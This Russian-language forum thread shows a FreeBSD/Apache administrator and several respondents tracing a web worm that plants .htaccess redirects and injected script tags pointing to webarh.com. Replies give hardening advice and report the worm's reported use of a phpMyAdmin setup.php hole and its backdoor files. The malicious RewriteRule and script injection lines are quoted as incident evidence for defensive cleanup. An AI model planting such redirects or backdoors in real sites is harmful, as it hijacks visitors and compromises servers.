Система FreeBSD 7.0-RELEASE
Сервер: Apache 2.2.6_2На сервере живёт зоопарк сайтов (это не хостинг, но всё же) и несколько разных систем управления всем этим.
Последние несколько дней раз в сутки во всех директориях на сервере появляется файлик
.htaccess следующего содержания:RewriteEngine On^M
RewriteBase /^M
RewriteRule ^(.*)? http://webarh.com/r.phpИмя сайта может быть любым. Главное что редирект на r.php куда-то.
В логах по всем сайтам ничего толкового найти не могу. То есть нигде нет добавления этого файла.
Файл идёт с правами апача в те директории, куда апачу разрешена запись (аплоад) по тем или иным причинам.
Редирект на "хостинге" нужен.Помогите отловить проблему. С какой стороны, хотя бы, к ней подойти.
Догадываюсь что вопрос чайницкий...
льют через дыру гдето http или ftp
для начала по быстрому все нужные настройки для htaccess пропиши в конфиге сервака для соотв директорий и пропиши "AllowOverride None" для всех сайтов
проверь конфиги на права - запрети запись - только чтение!
настрой подробыные логи если таких нет, желательно для каждого сайта отдельным файлом, настрой лог ftp
далее начинай внимательно изучать
на веб скорей всего прикручен пых - для него тоже надо сделать соотв ограничения по директориям + включить сейфмод
> на веб скорей всего прикручен пых - для него тоже надо сделать
> соотв ограничения по директориямА можно попродробнее, плиз.
> включить сейфмод
Точно. Сделал. Буду наблюдать.
>> на веб скорей всего прикручен пых - для него тоже надо сделать
>> соотв ограничения по директориям
> А можно попродробнее, плиз.httpd.conf:
<VirtualHost *:80>
...
php_admin_flag safe_mode on
php_admin_flag safe_mode_gid on
php_admin_value safe_mode_include_dir /www/somesite.ru/htdocs
php_admin_value safe_mode_exec_dir /www/somesite.ru/htdocs
php_admin_value safe_mode_allowed_env_vars PHP_
php_admin_value open_basedir /www/somesite.ru/htdocs
php_admin_value upload_tmp_dir /www/somesite.ru/htdocs/tmp
php_admin_value session.save_path /www/somesite.ru/htdocs/tmp
</VirtualHost>
также лучше временно запретить функции работы с файлами ...
короче доки php.net
>[оверквотинг удален]
> php_admin_flag safe_mode_gid on
> php_admin_value safe_mode_include_dir /www/somesite.ru/htdocs
> php_admin_value safe_mode_exec_dir /www/somesite.ru/htdocs
> php_admin_value safe_mode_allowed_env_vars PHP_
> php_admin_value open_basedir /www/somesite.ru/htdocs
> php_admin_value upload_tmp_dir /www/somesite.ru/htdocs/tmp
> php_admin_value session.save_path /www/somesite.ru/htdocs/tmp
> </VirtualHost>
> также лучше временно запретить функции работы с файлами ...
> короче доки php.netпосле этого смотреть errorl.log - попытки шарится по чужим дирам должны будут логироваться
> safe_mode on
> safe_mode_gid onЯ вот это глобально для всего PHP включил.
> также лучше временно запретить функции работы с файлами ...
Тогда сервер перестанет работать, к сожалению...
В общем, чищу сервер - жду новой волны файловой атаки...
>> safe_mode on
>> safe_mode_gid on
> Я вот это глобально для всего PHP включилsafe mode ничего не дает, это иллюзия безопасности, так как запросто обходится. В PHP 6 его уже не будет именно по причине бесполезности!
Кроме того, safe_mode откровенно глючит с кучей CMS, и официально не рекомендуется теми же Joomla, Drupal, да, наверное, вообще практически всеми популярными CMS!
То есть, от него _нет_ пользы(разве что, на взлом потребуется чуть-чуть больше времени), но есть вред.По-настоящему помогают только open_base_dir, отключение ненужных функций PHP, сухосин-патч и mod_security. Первый маст-хэв вообще везде (если нужен ImageMagick, convert запросто включается в дополнительный path через двоеточие), второе крайне желательно тоже везде (во всяком случае, хосты, для которых слишком много разрешено функций стоит вынести на отдельную виртуалку или контейнер), сухосин-патч обозначает тормоза (не годно для хостинга), а мод_секюрити требует утомительной ручной настройки.
>> также лучше временно запретить функции работы с файлами ...
> Тогда сервер перестанет работать, к сожалению...Лучше расскажите, что именно ломается, если отключить, как минимум: shell_exec, exec, system, passthru, popen ?
И еще раз, расскажите, что Вы перепроверяли насчет ftp? Уверяю Вас, если веб-мастер пользуется Windows, вероятность того, что это взлом через уязвимости сайта/сервера, очень мала, очень вероятно (я бы даже сказала "скорее всего"), это троян на машине этого человека, укравший ftp-пароль!
> льют через дыру гдето http или ftpДа.
> для начала по быстрому все нужные настройки для htaccess пропиши в конфиге
> сервака для соотв директорий и пропиши "AllowOverride None" для всех сайтовТак как 90% сайтов не используют htaccess это уже сделано.
Но зараза всё равно лезет.
Плюс, замечено, что ещё аналогичный редирект в виде <script>...</script> добавляется в конец всех файлов index.htm и index.html (многие "админы" сайтов держат эти файлы с разрешением на запись из апача - поубивал бы).> проверь конфиги на права - запрети запись - только чтение!
Конфиги, конечно же, только чтение.
> настрой подробыные логи если таких нет, желательно для каждого сайта отдельным файлом,
Для всех сделано:
ErrorLog /var/log/http/httpd-error.log
LogLevel warn
CustomLog /var/log/http/httpd-access.log combined> настрой лог ftp
Стоит proftpd с подробнейшим логгированием.
Но, думаю, это не он. Ибо FTP даёт на запись только директорию владельца сайта под логином и паролем, а рассылается это сразу по всем сайтам. То есть надо бы знать тогда ВСЮ базу паролей. А это уже сама система была бы сломана, что не так.> далее начинай внимательно изучать
Вот не могу понять на что смотреть. Что выловить.
> Стоит proftpd с подробнейшим логгированием.
> Но, думаю, это не он. Ибо FTP даёт на запись только директорию
> владельца сайта под логином и паролем, а рассылается это сразу по
> всем сайтам. То есть надо бы знать тогда ВСЮ базу паролей.
> А это уже сама система была бы сломана, что не так.Запросто. Года два назад была эпидемия этого вируса (лень искать имя) - ворует FTP пароли у клиентов (одного достаточно). Далее вредоносный код в php-скрипт, который запускается от имени апача - вуаля, и все файлы, куда пользователь апача может писать становятся доступны.
Лечится полным запретом FTP доступа (use SFTP + фильтрация по ip + рассылка всем пользователям, что у кого-то поселилась зараза) + выполнение рекомендаций Pahanivo.>> далее начинай внимательно изучать
> Вот не могу понять на что смотреть. Что выловить.
>[оверквотинг удален]
>> А это уже сама система была бы сломана, что не так.
> Запросто. Года два назад была эпидемия этого вируса (лень искать имя) -
> ворует FTP пароли у клиентов (одного достаточно). Далее вредоносный код в
> php-скрипт, который запускается от имени апача - вуаля, и все файлы,
> куда пользователь апача может писать становятся доступны.
> Лечится полным запретом FTP доступа (use SFTP + фильтрация по ip +
> рассылка всем пользователям, что у кого-то поселилась зараза) + выполнение рекомендаций
> Pahanivo.
>>> далее начинай внимательно изучать
>> Вот не могу понять на что смотреть. Что выловить.вообще для ftp доступа крайне рекомендую использовать фильтрацию по айпи персонально по аккаунтам - к сожалению очень часто трояны воруют пасы клиентов
> вообще для ftp доступа крайне рекомендую использовать фильтрацию по айпи персонально по
> аккаунтам - к сожалению очень часто трояны воруют пасы клиентовНе часто, а это 99 и еще не одна девятка процентов во всех случаях взломов.
Через дыры в CMS ломают гораздо реже!Могу утверждать это, так как два года работала в одном из самых крупных хостингов рунета (несколько тысяч серверов)
Ограничение по IP работает не всегда, так как часто бот заливает вирусные вставки и другую гадость прямо со взломанной машины, не передавая логин/пароль в ботнет.
Очень помогает выкинуть ftp, и использовать sftp, или, на крайний случай, ftps.
Так же, еще больше помогает выкинуть Windows с рабочего места :)
> Очень помогает выкинуть ftp, и использовать sftp, или, на крайний случай, ftps.до тех пор пока боты не поумнели? ))
> Так же, еще больше помогает выкинуть Windows с рабочего места :)это да ))
против криворукова юзераста, который годами игнорирует присутствие троянов на собственной машине все бесполезно )))
>> далее начинай внимательно изучать
> Вот не могу понять на что смотреть. Что выловить.читай логи фтп-сервера
я в подобных случаях цеплял фильтр по названию файлов и банил атакующие IP
>[оверквотинг удален]
> RewriteBase /^M
> RewriteRule ^(.*)? http://webarh.com/r.php
> Имя сайта может быть любым. Главное что редирект на r.php куда-то.
> В логах по всем сайтам ничего толкового найти не могу. То есть
> нигде нет добавления этого файла.
> Файл идёт с правами апача в те директории, куда апачу разрешена запись
> (аплоад) по тем или иным причинам.
> Редирект на "хостинге" нужен.
> Помогите отловить проблему. С какой стороны, хотя бы, к ней подойти.
> Догадываюсь что вопрос чайницкий...Сегодня пол-ночи гоняли этого виря в одной из виртуалок.
4 раза зачищали сайт, не могли понять -- где это дрянь пролезает.Обнаружили что
1) он использует уязвимость в phpmyadmin/scripts/setup.php
2.1) разбрасывает везде .htaccess вышеуказанного содержания
2.2) заражает все *.php *.htm *.html файлы строками вида
<script>document.location.href='http://webarh.com/z.php';</script>
2.3) В некоторых местах оставляет штампы вида
HTML HEAD
TITLE This site is defaced!!! /TITLE
/HEAD BODY bgcolor="#000000" text="#FF0000"
H1 This site is defaced!!! /H1
HR
ADDRESS b NeverEverNoSanity WebWorm generation 8. /b /ADDRESS
/BODY /HTML3) ВАЖНО!!!
Оставляет бэкдоры - файлы вида confg.php, cfg.php, м.б. какие-то еще.
Через эти бэкдоры даже после зачистки сайта червь может вновь возврашаться.P.S. Какая версия phpmyadmin этому подвержена - х.з. Снес ее не подумавши... :(
> 1) он использует уязвимость в phpmyadmin/scripts/setup.phpИменно.
> 2.3) В некоторых местах оставляет штампы вида
> 3) ВАЖНО!!!Вот это интересно. Проверю.
> P.S. Какая версия phpmyadmin этому подвержена - х.з. Снес ее не подумавши...
> :(Вся ветка 2.х.
Часть веток кроме последних 2 или 3 от 3.Х
как успехи?
> как успехи?В общем, после обновки админа повторения нет.
Левых файлов в структуре сайтов нет.
Кроме htaccess и правки индексов - никаких других вмешательств.